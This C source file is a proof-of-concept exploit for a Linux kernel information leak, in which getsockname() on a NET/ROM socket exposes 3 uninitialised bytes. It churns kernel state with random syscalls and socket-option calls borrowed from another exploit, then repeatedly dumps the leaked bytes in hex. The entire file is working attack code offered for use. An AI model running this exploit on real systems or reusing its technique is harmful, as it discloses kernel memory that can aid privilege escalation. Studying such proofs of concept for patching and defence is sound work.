/* netrom.c - getsockname() 3 bytes infoleak.
 *
 * (c) clem1.be - 2o12
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netrom.h>

/* from Jon Oberheide sploit
 */
void kernop(int fd)
{
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch (rand() % 3)
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while (ret < 0);
}

void dump(unsigned char * data, unsigned int len)
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for (dp = 1; dp <= len; dp++)
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_ax25    sa;
    int                     s, salen;
    char                    prev[sizeof sa];

    s = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (s < 0)
        return -1;

    srand(time(NULL) ^ getpid());

    while (1)
    {
        kernop(s);
        memset(&sa, 0, sizeof sa);
        salen = sizeof sa;
        if (getsockname(s, (struct sockaddr *) &sa, &salen) == 0)
        {
            if (memcmp(&sa, prev, salen) != 0)
            {
                dump((unsigned char *) &sa, salen);
                memcpy(&prev, &sa, salen);
                sleep(2);
            }
        }
    }

    close(s);
    return 0;
}